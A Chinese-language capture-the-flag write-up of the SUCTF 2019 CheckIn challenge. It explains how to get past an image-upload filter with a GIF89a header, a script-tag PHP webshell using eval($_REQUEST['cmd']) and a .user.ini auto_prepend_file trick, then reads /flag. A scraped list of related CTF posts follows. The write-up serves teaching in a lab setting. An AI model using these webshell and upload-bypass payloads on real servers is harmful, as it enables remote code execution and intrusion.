知识点:exif_imagetype()  、 .user.ini

文章目录:

  • 题解
  • 参考

题解

文件上传,我们传一个带一句话马的图片

<?php @eval($_REQUEST['cmd']);?>


但是它提示我们不能有<?,那我们就换一种

<script language="php">eval($_REQUEST['cmd']);</script>


在这边,它用了一个exif_imagetype函数来判断文件类型。
平时简单一点的文件类型检查就是$_FILES[“file”][“type”],这种我们改一下后缀就行了。
但是exif_imagetype() 读取一个图像的第一个字节并检查其签名,如果发现了恰当的签名则返回一个对应的常量,否则返回 FALSE,比如我们传个.gif的文件,它返回值是IMAGETYPE_GIF。

各类型对应头字节:

  • JPG :FF D8 FF E0 00 10 4A 46 49 46(16进制编码)
  • GIF:47 49 46 38 39 61(ascll值是GIF89a)
  • PNG: 89 50 4E 47

所以我们只要在我们的一句话马前加上GIF89a就行了

GIF89a
<script language='php'>eval($_REQUEST['cmd']);</script>

在把‘’这个文件上传

但现在传上去的只是一张图片,我们要把它解析成php。
这里可以用.user.ini。
php.ini大家都熟悉,是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:
PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER

而.user.ini可以看成用户自己定义的php.ini,并且在php配置项中有两个项:

auto_prepend_file和auto_append_file

相当于指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数

auto_prepend_file是在文件前插入,而auto_append_file是在文件最后才插入。

然后创建.user.ini文件上传:

GIF89a
auto_prepend_file=she.jpg


然后payload,执行命令:

/uploads/cc551ab005b2e60fbdc88de809b2c4b1/index.php?cmd=var_dump(file_get_contents("/flag"));
uploads/cc551ab005b2e60fbdc88de809b2c4b1/index.php
原因:.user.ini中auto_prepend_file=she.jpg会在执行index.php前把she包含进来,且解析为php格式

参考

.user.ini
高诺琪

[SUCTF 2019]CheckIn 1相关推荐

  1. [SUCTF 2019]CheckIn

    web第25题 [SUCTF 2019]CheckIn 打开靶场 看来是一个文件上传的题 上传正常图片 返回路径,注意到有一个index.php 尝试直接上传一句话木马shell.php 提示非法后缀 ...

  2. [SUCTF 2019] SignIn

    [SUCTF 2019] SignIn 如果对本文存在有疑问或需要工具可以在下方给我留言! 这题比较简单 题目下载地址:https://www.lanzoux.com/iawzl2f 程序没有加壳,直 ...

  3. [SUCTF 2019]Game

    [SUCTF 2019]Game 题目地址 : https://buuoj.cn/challenges#[SUCTF%202019]Game 题目一共两个附件,先把src.zip 解压,在src目录下 ...

  4. web buuctf [SUCTF 2019]Pythonginx1

    知识点:1.nignx 2.idna编码与utf-8编码的漏洞 1.开题 查看源码,整理代码: @app.route('/getUrl', methods=['GET', 'POST']) def g ...

  5. BUUCTF:[SUCTF 2019]Game

    https://buuoj.cn/challenges#[SUCTF%202019]Game index.html中发现一串base32 >>> import base64 > ...

  6. BUUCTF-WEB:[SUCTF 2019]EasySQL 1

    解题思路: ①先试试1'# 发现没有回显 ②试试1  有回显 ③试试单引号注入 ④试试用order by查询表的列数:1 order by 1 用不了联合注入了! 下面尝试使用堆叠注入: payloa ...

  7. [SUCTF 2019]EasySQL1

    1.老规矩,先输入1 2.输入1 or 1,页面提示nonono,说明or已被列入黑名单,通过我们尝试,and,union等等都被列入黑名单. 3.我们来判断参数是否被引号,双引号,括号包裹. 输入1 ...

  8. [SUCTF 2019]EasySQL1 (buu一周目速通)

    进入靶机,根据题目是一道sql注入题目,经过普通手段注入发现大部分关键词都被过滤了, Array ( [0] => 1 ) 一解:发现输入数字回显代码,字母不回显,所以猜测后台代码存在 ||(或 ...

  9. BUUctf刷题第三天

    [极客大挑战 2019]BuyFlag 进去是一个网页,查看源代码 说只有啥玩意的学生才能买,就抓包看看 发现cookie后面有个user=0,改成一试试 改完后说我是啥啥啥的学生了可以支付购买了 结 ...

  10. buuctf web1

    目录 [极客大挑战 2019]EasySQL [HCTF 2018]WarmUp [极客大挑战 2019]Havefun [ACTF2020 新生赛]Include [强网杯 2019]随便注 [SU ...

最新文章

  1. js源生惯性滚动与回弹(备用)
  2. 2020-10-25(极客pyc题目)
  3. activiti7流程设计器_基于容器和微服务应用的架构:容器设计原则
  4. SQLAlchemy
  5. Poj(2225),三维BFS
  6. HDU3685 几何+重心+凸包+判定锐角三角形
  7. Ubuntu 20.04 安装多个版本 php 并应用到 nginx
  8. MongoDB的安装
  9. C语言实现字符串转二进制编码,并保存.txt
  10. AI产品经理的技术了解层级
  11. 【北京邮电大学计算机考研资料汇总大全】
  12. 《基因突变》学习笔记
  13. 彻底搞懂数据库内连接、外连接
  14. 无穷小微积分是ZFC大花园的一颗奇葩
  15. 中企海外周报 | 哈弗F7x性能版在俄罗斯上市;徐工首家海外银行落户巴西
  16. 【UML】软件设计说明书 (完结)
  17. matlab计算潮差程序,t_tide潮汐潮流调和分析工具包教程
  18. 2022-12-12 系统移植
  19. 研究开发出 3D 打印 “食品墨水”
  20. 工业互联网平台:将为“补链”“优链”“强链”提供有力保障

热门文章

  1. python爬虫-之前接的一家长租公寓的项目
  2. Java swing+MySQL/Oracle 实现的飞机票预定系统订票系统课程设计
  3. C语言程序设计期末大作业—教师工资管理系统(附程序设计报告)
  4. MYSQL---查询成绩为前5名的学生
  5. 004 函数极限之自变量趋于有限值时的极限
  6. linux网络设置和五大负载
  7. 1.10数据库编程练习
  8. oracle查询一列汇总,如何在查询多列的同时,汇总其中的一列或多列
  9. c/c++程序编译连接过程
  10. 从海航助力海南创新发展看海航好不好